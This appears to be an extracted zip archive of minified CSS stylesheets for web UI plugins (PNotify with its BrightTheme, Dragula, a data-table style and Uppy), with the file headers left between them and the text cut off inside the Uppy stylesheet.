.pnotify-sticker{float:left;margin-right:.5em;margin-left:0}.pnotify-title{display:block;white-space:pre-line;margin-bottom:.4em;margin-top:0}.pnotify-text-with-max-height{overflow-y:auto;overscroll-behavior:contain;padding-bottom:.03em}.pnotify.pnotify-with-icon .pnotify-content{margin-left:24px}[dir=rtl] .pnotify.pnotify-with-icon .pnotify-content{margin-right:24px;margin-left:0}.pnotify-pre-line{white-space:pre-line}.pnotify-icon,.pnotify-icon span{display:block;float:left}[dir=rtl] .pnotify-icon,[dir=rtl] .pnotify-icon span{float:right}.pnotify-modal-overlay{background-color:rgba(0,0,0,.6);top:0;left:0;position:absolute;height:100%;width:100%;z-index:2;transition:opacity .25s linear;opacity:0;padding:0;display:flex;justify-content:center;align-items:flex-end}.pnotify-modal-overlay-up{align-items:flex-start}.pnotify-modal-overlay-left{justify-content:flex-start;align-items:center}.pnotify-modal-overlay-right{justify-content:flex-end;align-items:center}.pnotify-modal-overlay.pnotify-modal-overlay-in{opacity:1}.pnotify-modal-overlay-closes:after{content:"×";font-family:Arial;font-size:3rem;color:#fff;text-shadow:0 0 .4rem #fff}body>.pnotify-modal-overlay{position:fixed;z-index:100041}PKZ`Ccss/plugins/dragula.min.cssnu[.gu-mirror{position:fixed!important;margin:0!important;z-index:9999!important;opacity:.8}.gu-hide{display:none!important}.gu-unselectable{-webkit-user-select:none!important;-moz-user-select:none!important;-ms-user-select:none!important;user-select:none!important}.gu-transit{opacity:.2}PKZ{00css/plugins/BrightTheme.cssnu[[data-pnotify].brighttheme-elem{border-radius:0}[data-pnotify].brighttheme-elem,[data-pnotify].brighttheme-elem.pnotify-mode-light{--notice-background-color:#ffffa2;--notice-border-color:#ff0;--notice-text-color:#4f4f00;--notice-icon-filter:invert(25%) sepia(12%) saturate(7007%) hue-rotate(38deg) brightness(99%) contrast(101%);--info-background-color:#8fcedd;--info-border-color:#0286a5;--info-text-color:#012831;--info-icon-filter:invert(11%) sepia(37%) saturate(1946%) hue-rotate(155deg) brightness(95%) contrast(99%);--success-background-color:#aff29a;--success-border-color:#35db00;--success-text-color:#104300;--success-icon-filter:invert(17%) sepia(94%) saturate(1055%) hue-rotate(70deg) brightness(90%) contrast(103%);--error-background-color:#ffaba2;--error-border-color:#ff1800;--error-text-color:#4f0800;--error-icon-filter:invert(9%) sepia(27%) saturate(7347%) hue-rotate(359deg) brightness(96%) contrast(108%)}@media (prefers-color-scheme:dark){[data-pnotify].brighttheme-elem.pnotify-mode-no-preference{--notice-background-color:#4f4f00;--notice-border-color:#282814;--notice-text-color:#ffffa2;--notice-icon-filter:invert(92%) sepia(18%) saturate(781%) hue-rotate(6deg) brightness(106%) contrast(107%);--info-background-color:#012831;--info-border-color:#0c1618;--info-text-color:#8fcedd;--info-icon-filter:invert(85%) sepia(14%) saturate(933%) hue-rotate(153deg) brightness(92%) contrast(87%);--success-background-color:#104300;--success-border-color:#152111;--success-text-color:#aff29a;--success-icon-filter:invert(90%) sepia(9%) saturate(1647%) hue-rotate(52deg) brightness(103%) contrast(90%);--error-background-color:#4f0800;--error-border-color:#281614;--error-text-color:#ffaba2;--error-icon-filter:invert(70%) sepia(24%) saturate(717%) hue-rotate(315deg) brightness(103%) contrast(104%)}}[data-pnotify].brighttheme-elem.pnotify-mode-dark{--notice-background-color:#4f4f00;--notice-border-color:#282814;--notice-text-color:#ffffa2;--notice-icon-filter:invert(92%) sepia(18%) saturate(781%) hue-rotate(6deg) brightness(106%) contrast(107%);--info-background-color:#012831;--info-border-color:#0c1618;--info-text-color:#8fcedd;--info-icon-filter:invert(85%) sepia(14%) saturate(933%) hue-rotate(153deg) brightness(92%) contrast(87%);--success-background-color:#104300;--success-border-color:#152111;--success-text-color:#aff29a;--success-icon-filter:invert(90%) sepia(9%) saturate(1647%) hue-rotate(52deg) brightness(103%) contrast(90%);--error-background-color:#4f0800;--error-border-color:#281614;--error-text-color:#ffaba2;--error-icon-filter:invert(70%) sepia(24%) saturate(717%) hue-rotate(315deg) brightness(103%) contrast(104%)}[data-pnotify] .brighttheme-notice{--brighttheme-background-color:var(--notice-background-color);--brighttheme-border-color:var(--notice-border-color);--brighttheme-text-color:var(--notice-text-color);--brighttheme-icon-filter:var(--notice-icon-filter);--brighttheme-primary-button-background-color:var(--notice-border-color);--brighttheme-primary-button-text-color:var(--notice-text-color)}[data-pnotify] .brighttheme-info{--brighttheme-background-color:var(--info-background-color);--brighttheme-border-color:var(--info-border-color);--brighttheme-text-color:var(--info-text-color);--brighttheme-icon-filter:var(--info-icon-filter);--brighttheme-primary-button-background-color:var(--info-border-color);--brighttheme-primary-button-text-color:var(--info-text-color)}[data-pnotify] .brighttheme-success{--brighttheme-background-color:var(--success-background-color);--brighttheme-border-color:var(--success-border-color);--brighttheme-text-color:var(--success-text-color);--brighttheme-icon-filter:var(--success-icon-filter);--brighttheme-primary-button-background-color:var(--success-border-color);--brighttheme-primary-button-text-color:var(--success-text-color)}[data-pnotify] .brighttheme-error{--brighttheme-background-color:var(--error-background-color);--brighttheme-border-color:var(--error-border-color);--brighttheme-text-color:var(--error-text-color);--brighttheme-icon-filter:var(--error-icon-filter);--brighttheme-primary-button-background-color:var(--error-border-color);--brighttheme-primary-button-text-color:var(--error-text-color)}[data-pnotify] .brighttheme-container{padding:1.3rem;background-color:var(--brighttheme-background-color);border:0 solid var(--brighttheme-border-color);color:var(--brighttheme-text-color)}[data-pnotify] .brighttheme-error{background-image:repeating-linear-gradient(135deg,transparent,transparent 35px,hsla(0,0%,100%,.3) 0,hsla(0,0%,100%,.3) 70px)}[data-pnotify].pnotify-with-icon .brighttheme-content{margin-left:calc(1.3rem + 16px)}[dir=rtl] [data-pnotify].pnotify-with-icon .brighttheme-content{margin-right:calc(1.3rem + 16px);margin-left:0}[data-pnotify] .brighttheme-title{font-size:1.2rem;line-height:1.4rem;margin-top:-.1rem;margin-bottom:0}[data-pnotify] .brighttheme-text{font-size:1rem;line-height:1.2rem;margin-top:0}[data-pnotify] .brighttheme-confirm,[data-pnotify] .brighttheme-title+.brighttheme-text{margin-top:1rem}[data-pnotify] .brighttheme-closer,[data-pnotify] .brighttheme-icon,[data-pnotify] .brighttheme-sticker{display:flex;justify-content:center;align-items:center}[data-pnotify] .brighttheme-icon,[data-pnotify] .brighttheme-icon>span,[data-pnotify] .brighttheme-icon>span:after{width:1.2rem;height:1.2rem;line-height:1.2rem}[data-pnotify] .brighttheme-icon-closer,[data-pnotify] .brighttheme-icon-closer:after,[data-pnotify] .brighttheme-icon-sticker,[data-pnotify] .brighttheme-icon-sticker:after{width:1rem;height:1rem;line-height:1rem}[data-pnotify] .brighttheme-icon-notice:after{filter:var(--brighttheme-icon-filter);content:url(data:image/svg+xml;charset=utf-8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHZlcnNpb249IjEuMSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTMsMTNIMTFWN0gxM00xMywxN0gxMVYxNUgxM00xMiwyQTEwLDEwIDAgMCwwIDIsMTJBMTAsMTAgMCAwLDAgMTIsMjJBMTAsMTAgMCAwLDAgMjIsMTJBMTAsMTAgMCAwLDAgMTIsMloiLz48L3N2Zz4=)}[data-pnotify] .brighttheme-icon-info:after{filter:var(--brighttheme-icon-filter);content:url(data:image/svg+xml;charset=utf-8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHZlcnNpb249IjEuMSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTMsOUgxMVY3SDEzTTEzLDE3SDExVjExSDEzTTEyLDJBMTAsMTAgMCAwLDAgMiwxMkExMCwxMCAwIDAsMCAxMiwyMkExMCwxMCAwIDAsMCAyMiwxMkExMCwxMCAwIDAsMCAxMiwyWiIvPjwvc3ZnPg==)}[data-pnotify] .brighttheme-icon-success:after{filter:var(--brighttheme-icon-filter);content:url(data:image/svg+xml;charset=utf-8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHZlcnNpb249IjEuMSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTIgMkM2LjUgMiAyIDYuNSAyIDEyUzYuNSAyMiAxMiAyMiAyMiAxNy41IDIyIDEyIDE3LjUgMiAxMiAyTTEwIDE3TDUgMTJMNi40MSAxMC41OUwxMCAxNC4xN0wxNy41OSA2LjU4TDE5IDhMMTAgMTdaIi8+PC9zdmc+)}[data-pnotify] .brighttheme-icon-error:after{filter:var(--brighttheme-icon-filter);content:url(data:image/svg+xml;charset=utf-8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHZlcnNpb249IjEuMSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTMsMTRIMTFWMTBIMTNNMTMsMThIMTFWMTZIMTNNMSwyMUgyM0wxMiwyTDEsMjFaIi8+PC9zdmc+)}[data-pnotify] .brighttheme-icon-closer:after{filter:var(--brighttheme-icon-filter);content:url(data:image/svg+xml;charset=utf-8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHZlcnNpb249IjEuMSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTksNi40MUwxNy41OSw1TDEyLDEwLjU5TDYuNDEsNUw1LDYuNDFMMTAuNTksMTJMNSwxNy41OUw2LjQxLDE5TDEyLDEzLjQxTDE3LjU5LDE5TDE5LDE3LjU5TDEzLjQxLDEyTDE5LDYuNDFaIi8+PC9zdmc+)}[data-pnotify] .brighttheme-icon-sticker:after{filter:var(--brighttheme-icon-filter);content:url(data:image/svg+xml;charset=utf-8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHZlcnNpb249IjEuMSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTYsMTJWNEgxN1YySDdWNEg4VjEyTDYsMTRWMTZIMTEuMlYyMkgxMi44VjE2SDE4VjE0TDE2LDEyWiIvPjwvc3ZnPg==)}[data-pnotify] .brighttheme-icon-sticker.brighttheme-icon-stuck:after{filter:var(--brighttheme-icon-filter);content:url(data:image/svg+xml;charset=utf-8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHZlcnNpb249IjEuMSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMiw1LjI3TDMuMjgsNEwyMCwyMC43MkwxOC43MywyMkwxMi44LDE2LjA3VjIySDExLjJWMTZINlYxNEw4LDEyVjExLjI3TDIsNS4yN00xNiwxMkwxOCwxNFYxNkgxNy44Mkw4LDYuMThWNEg3VjJIMTdWNEgxNlYxMloiLz48L3N2Zz4=)}[data-pnotify] .brighttheme-prompt-bar{margin-bottom:1rem}[data-pnotify] .brighttheme-action-bar,[data-pnotify] .brighttheme-prompt-bar{width:100%;box-sizing:border-box}[data-pnotify] .brighttheme-btn{text-transform:uppercase;font-weight:700;padding:.4rem 1rem;border:none;background:transparent;cursor:pointer;color:var(--brighttheme-text-color)}[data-pnotify] .brighttheme-btn-primary{background-color:var(--brighttheme-primary-button-background-color);color:var(--brighttheme-primary-button-text-color)}[data-pnotify] .brighttheme-countdown{background-color:var(--brighttheme-background-color)}[data-pnotify] .brighttheme-countdown-bar{background-color:var(--brighttheme-border-color)}[data-pnotify] .brighttheme-paginate{display:inline-flex;flex-direction:column}[data-pnotify] .brighttheme-paginate-btn{width:1em;height:1em;line-height:.5em;border:0;padding:0;background:transparent}[data-pnotify] .brighttheme-paginate-previous{margin-right:0}[data-pnotify] .brighttheme-paginate-next{margin-left:0}[data-pnotify] .brighttheme-paginate-btn:disabled:after,[data-pnotify] .brighttheme-paginate-btn[aria-disabled=true]:after{opacity:.5}[data-pnotify] .brighttheme-paginate-previous:after{filter:var(--brighttheme-icon-filter);content:url(data:image/svg+xml;charset=utf-8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHN2ZyBQVUJMSUMgIi0vL1czQy8vRFREIFNWRyAxLjEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvR3JhcGhpY3MvU1ZHLzEuMS9EVEQvc3ZnMTEuZHRkIj4KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAyNCAyNCI+PHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPjxwYXRoIGQ9Ik0xMS42NyAzLjg3TDkuOSAyLjEgMCAxMmw5LjkgOS45IDEuNzctMS43N0wzLjU0IDEyeiIvPjwvc3ZnPg==)}[data-pnotify] .brighttheme-paginate-next:after{filter:var(--brighttheme-icon-filter);content:url(data:image/svg+xml;charset=utf-8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHN2ZyBQVUJMSUMgIi0vL1czQy8vRFREIFNWRyAxLjEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvR3JhcGhpY3MvU1ZHLzEuMS9EVEQvc3ZnMTEuZHRkIj4KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAyNCAyNCI+PHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPjxwYXRoIGQ9Ik01Ljg4IDQuMTJMMTMuNzYgMTJsLTcuODggNy44OEw4IDIybDEwLTEwTDggMnoiLz48L3N2Zz4=)}[data-pnotify] .brighttheme-paginate-count-of{opacity:.8}PKZx2 css/plugins/style.cssnu[.dataTable-wrapper.no-header .dataTable-container { border-top: 1px solid #d9d9d9; } .dataTable-wrapper.no-footer .dataTable-container { border-bottom: 1px solid #d9d9d9; } .dataTable-top, .dataTable-bottom { padding: 8px 10px; } .dataTable-top > nav:first-child, .dataTable-top > div:first-child, .dataTable-bottom > nav:first-child, .dataTable-bottom > div:first-child { float: left; } .dataTable-top > nav:last-child, .dataTable-top > div:last-child, .dataTable-bottom > nav:last-child, .dataTable-bottom > div:last-child { float: right; } .dataTable-selector { padding: 6px; } .dataTable-input { padding: 6px 12px; } .dataTable-info { margin: 7px 0; } /* PAGER */ .dataTable-pagination ul { margin: 0; padding-left: 0; } .dataTable-pagination li { list-style: none; float: left; } .dataTable-pagination a { border: 1px solid transparent; float: left; margin-left: 2px; padding: 6px 12px; position: relative; text-decoration: none; color: #333; } .dataTable-pagination a:hover { background-color: #d9d9d9; } .dataTable-pagination .active a, .dataTable-pagination .active a:focus, .dataTable-pagination .active a:hover { background-color: #d9d9d9; cursor: default; } .dataTable-pagination .ellipsis a, .dataTable-pagination .disabled a, .dataTable-pagination .disabled a:focus, .dataTable-pagination .disabled a:hover { cursor: not-allowed; } .dataTable-pagination .disabled a, .dataTable-pagination .disabled a:focus, .dataTable-pagination .disabled a:hover { cursor: not-allowed; opacity: 0.4; } .dataTable-pagination .pager a { font-weight: bold; } /* TABLE */ .dataTable-table { max-width: 100%; width: 100%; border-spacing: 0; border-collapse: separate; } .dataTable-table > tbody > tr > td, .dataTable-table > tbody > tr > th, .dataTable-table > tfoot > tr > td, .dataTable-table > tfoot > tr > th, .dataTable-table > thead > tr > td, .dataTable-table > thead > tr > th { vertical-align: top; padding: 8px 10px; } .dataTable-table > thead > tr > th { vertical-align: bottom; text-align: left; border-bottom: 1px solid #d9d9d9; } .dataTable-table > tfoot > tr > th { vertical-align: bottom; text-align: left; border-top: 1px solid #d9d9d9; } .dataTable-table th { vertical-align: bottom; text-align: left; } .dataTable-table th a { text-decoration: none; color: inherit; } .dataTable-sorter { display: inline-block; height: 100%; position: relative; width: 100%; } .dataTable-sorter::before, .dataTable-sorter::after { content: ""; height: 0; width: 0; position: absolute; right: 4px; border-left: 4px solid transparent; border-right: 4px solid transparent; opacity: 0.2; } .dataTable-sorter::before { border-top: 4px solid #000; bottom: 0px; } .dataTable-sorter::after { border-bottom: 4px solid #000; border-top: 4px solid transparent; top: 0px; } .asc .dataTable-sorter::after, .desc .dataTable-sorter::before { opacity: 0.6; } .dataTables-empty { text-align: center; } .dataTable-top::after, .dataTable-bottom::after { clear: both; content: " "; display: table; } PKZtkl6C6Ccss/plugins/uppy.min.cssnu[@charset "UTF-8";.uppy-Root{box-sizing:border-box;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-align:left;position:relative;color:#333}.uppy-Root[dir=rtl],[dir=rtl] .uppy-Root{text-align:right}.uppy-Root *,.uppy-Root :after,.uppy-Root :before{box-sizing:inherit}.uppy-Root [hidden]{display:none}.uppy-u-reset{-webkit-appearance:none;line-height:1;padding:0;color:inherit;-webkit-backface-visibility:visible;backface-visibility:visible;background:none;border:none;border-collapse:separate;border-image:none;border-radius:0;border-spacing:0;box-shadow:none;clear:none;cursor:auto;display:inline;empty-cells:show;float:none;font-family:inherit;font-size:inherit;font-style:normal;font-variant:normal;font-weight:400;font-stretch:normal;-webkit-hyphens:none;-ms-hyphens:none;hyphens:none;left:auto;letter-spacing:normal;list-style:none;margin:0;max-height:none;max-width:none;min-height:0;min-width:0;opacity:1;outline:medium none invert;overflow:visible;overflow-x:visible;overflow-y:visible;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;top:auto;transform:none;transform-origin:50% 50% 0;transform-style:flat;transition:none 0s ease 0s;unicode-bidi:normal;vertical-align:baseline;visibility:visible;white-space:normal;z-index:auto}[dir=rtl] .uppy-u-reset{text-align:right}.uppy-c-textInput{border:1px solid #ddd;border-radius:4px;font-size:14px;line-height:1.5;padding:6px 8px;background-color:#fff}.uppy-size--md .uppy-c-textInput{padding:8px 10px}.uppy-c-textInput:focus{border-color:rgba(34,117,215,.6);outline:none;box-shadow:0 0 0 3px rgba(34,117,215,.15)}[data-uppy-theme=dark] .uppy-c-textInput{background-color:#333;border-color:#333;color:#eaeaea}[data-uppy-theme=dark] .uppy-c-textInput:focus{border-color:#525252;box-shadow:none}.uppy-c-icon{max-width:100%;max-height:100%;fill:currentColor;display:inline-block;overflow:hidden}.uppy-c-btn{display:inline-block;white-space:nowrap;vertical-align:middle;font-family:inherit;font-size:16px;line-height:1;font-weight:500;transition-property:background-color,color;transition-duration:.3s;-webkit-user-select:none;-ms-user-select:none;user-select:none}.uppy-c-btn,[dir=rtl] .uppy-c-btn{text-align:center}.uppy-c-btn:not(:disabled):not(.disabled){cursor:pointer}.uppy-c-btn::-moz-focus-inner{border:0}.uppy-c-btn-primary{font-size:14px;padding:10px 18px;border-radius:4px;background-color:#2275d7;color:#fff}.uppy-c-btn-primary:hover{background-color:#1b5dab}.uppy-c-btn-primary:focus{outline:none;box-shadow:0 0 0 3px rgba(34,117,215,.4)}.uppy-size--md .uppy-c-btn-primary{padding:13px 22px}[data-uppy-theme=dark] .uppy-c-btn-primary{color:#eaeaea}[data-uppy-theme=dark] .uppy-c-btn-primary:focus{outline:none}[data-uppy-theme=dark] .uppy-c-btn-primary::-moz-focus-inner{border:0}[data-uppy-theme=dark] .uppy-c-btn-primary:focus{box-shadow:0 0 0 2px rgba(170,225,255,.85)}.uppy-c-btn-link{font-size:14px;line-height:1;padding:10px 15px;border-radius:4px;background-color:transparent;color:#525252}.uppy-c-btn-link:hover{color:#333}.uppy-c-btn-link:focus{outline:none;box-shadow:0 0 0 3px rgba(34,117,215,.25)}.uppy-size--md .uppy-c-btn-link{padding:13px 18px}[data-uppy-theme=dark] .uppy-c-btn-link{color:#eaeaea}[data-uppy-theme=dark] .uppy-c-btn-link:focus{outline:none}[data-uppy-theme=dark] .uppy-c-btn-link::-moz-focus-inner{border:0}[data-uppy-theme=dark] .uppy-c-btn-link:focus{box-shadow:0 0 0 2px rgba(170,225,255,.85)}[data-uppy-theme=dark] .uppy-c-btn-link:hover{color:#939393}.uppy-c-btn--small{font-size:.9em;padding:7px 16px;border-radius:2px}.uppy-size--md .uppy-c-btn--small{padding:8px 10px;border-radius:2px}.uppy-Informer{position:absolute;bottom:60px;left:0;right:0;text-align:center;opacity:1;transform:none;transition:all .25s ease-in;z-index:1005}.uppy-Informer[aria-hidden=true]{opacity:0;transform:translateY(350%);transition:all .3s ease-in;z-index:-1000}.uppy-Informer p{display:inline-block;margin:0;font-size:12px;line-height:1.4;font-weight:400;padding:6px 15px;background-color:#757575;color:#fff;border-radius:18px;max-width:90%}.uppy-size--md .uppy-Informer p{font-size:14px;line-height:1.3;max-width:500px;padding:10px 20px}[data-uppy-theme=dark] .uppy-Informer p{background-color:#333}[dir=ltr] .uppy-Informer span{left:3px}[dir=rtl] .uppy-Informer span{right:3px}[dir=ltr] .uppy-Informer span{margin-left:-1px}[dir=rtl] .uppy-Informer span{margin-right:-1px}.uppy-Informer span{line-height:12px;width:13px;height:13px;display:inline-block;vertical-align:middle;color:#525252;background-color:#fff;border-radius:50%;position:relative;top:-1px;font-size:10px;-webkit-margin-start:-1px}.uppy-Informer span:hover{cursor:help}.uppy-Informer span:after{line-height:1.3;word-wrap:break-word}.uppy-Root [aria-label][role~=tooltip]{position:relative}.uppy-Root [aria-label][role~=tooltip]:after,.uppy-Root [aria-label][role~=tooltip]:before{transform:translateZ(0);-webkit-backface-visibility:hidden;backface-visibility:hidden;will-change:transform;opacity:0;pointer-events:none;transition:all var(--microtip-transition-duration,.18s) var(--microtip-transition-easing,ease-in-out) var(--microtip-transition-delay,0s);position:absolute;box-sizing:border-box;z-index:10;transform-origin:top}.uppy-Root [aria-label][role~=tooltip]:before{background-size:100% auto!important;content:""}.uppy-Root [aria-label][role~=tooltip]:after{background:rgba(17,17,17,.9);border-radius:4px;color:#fff;content:attr(aria-label);font-size:var(--microtip-font-size,13px);font-weight:var(--microtip-font-weight,normal);text-transform:var(--microtip-text-transform,none);padding:.5em 1em;white-space:nowrap;box-sizing:content-box}.uppy-Root [aria-label][role~=tooltip]:focus:after,.uppy-Root [aria-label][role~=tooltip]:focus:before,.uppy-Root [aria-label][role~=tooltip]:hover:after,.uppy-Root [aria-label][role~=tooltip]:hover:before{opacity:1;pointer-events:auto}.uppy-Root [role~=tooltip][data-microtip-position|=top]:before{background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='36' height='12'%3E%3Cpath fill='rgba(17, 17, 17, 0.9)' d='M2.658 0h32.004c-6 0-11.627 12.002-16.002 12.002C14.285 12.002 8.594 0 2.658 0z'/%3E%3C/svg%3E") no-repeat;height:6px;width:18px;margin-bottom:5px}.uppy-Root [role~=tooltip][data-microtip-position|=top]:after{margin-bottom:11px}.uppy-Root [role~=tooltip][data-microtip-position|=top]:before{transform:translate3d(-50%,0,0);bottom:100%;left:50%}.uppy-Root [role~=tooltip][data-microtip-position|=top]:hover:before{transform:translate3d(-50%,-5px,0)}.uppy-Root [role~=tooltip][data-microtip-position|=top]:after{transform:translate3d(-50%,0,0);bottom:100%;left:50%}.uppy-Root [role~=tooltip][data-microtip-position=top]:hover:after{transform:translate3d(-50%,-5px,0)}.uppy-Root [role~=tooltip][data-microtip-position=top-left]:after{transform:translate3d(calc(-100% + 16px),0,0);bottom:100%}.uppy-Root [role~=tooltip][data-microtip-position=top-left]:hover:after{transform:translate3d(calc(-100% + 16px),-5px,0)}.uppy-Root [role~=tooltip][data-microtip-position=top-right]:after{transform:translate3d(-16px,0,0);bottom:100%}.uppy-Root [role~=tooltip][data-microtip-position=top-right]:hover:after{transform:translate3d(-16px,-5px,0)}.uppy-Root [role~=tooltip][data-microtip-position|=bottom]:before{background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='36' height='12'%3E%3Cpath fill='rgba(17, 17, 17, 0.9)' d='M33.342 12H1.338c6 0 11.627-12.002 16.002-12.002C21.715-.002 27.406 12 33.342 12z'/%3E%3C/svg%3E") no-repeat;height:6px;width:18px;margin-top:5px;margin-bottom:0}.uppy-Root [role~=tooltip][data-microtip-position|=bottom]:after{margin-top:11px}.uppy-Root [role~=tooltip][data-microtip-position|=bottom]:before{transform:translate3d(-50%,-10px,0);bottom:auto;left:50%;top:100%}.uppy-Root [role~=tooltip][data-microtip-position|=bottom]:hover:before{transform:translate3d(-50%,0,0)}.uppy-Root [role~=tooltip][data-microtip-position|=bottom]:after{transform:translate3d(-50%,-10px,0);top:100%;left:50%}.uppy-Root [role~=tooltip][data-microtip-position=bottom]:hover:after{transform:translate3d(-50%,0,0)}.uppy-Root [role~=tooltip][data-microtip-position=bottom-left]:after{transform:translate3d(calc(-100% + 16px),-10px,0);top:100%}.uppy-Root [role~=tooltip][data-microtip-position=bottom-left]:hover:after{transform:translate3d(calc(-100% + 16px),0,0)}.uppy-Root [role~=tooltip][data-microtip-position=bottom-right]:after{transform:translate3d(-16px,-10px,0);top:100%}.uppy-Root [role~=tooltip][data-microtip-position=bottom-right]:hover:after{transform:translate3d(-16px,0,0)}.uppy-Root [role~=tooltip][data-microtip-position=left]:after,.uppy-Root [role~=tooltip][data-microtip-position=left]:before{bottom:auto;left:auto;right:100%;top:50%;transform:translate3d(10px,-50%,0)}.uppy-Root [role~=tooltip][data-microtip-position=left]:before{background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='36'%3E%3Cpath fill='rgba(17, 17, 17, 0.9)' d='M0 33.342V1.338c0 6 12.002 11.627 12.002 16.002C12.002 21.715 0 27.406 0 33.342z'/%3E%3C/svg%3E") no-repeat;height:18px;width:6px;margin-right:5px;margin-bottom:0}.uppy-Root [role~=tooltip][data-microtip-position=left]:after{margin-right:11px}.uppy-Root [role~=tooltip][data-microtip-position=left]:hover:after,.uppy-Root [role~=tooltip][data-microtip-position=left]:hover:before{transform:translate3d(0,-50%,0)}.uppy-Root 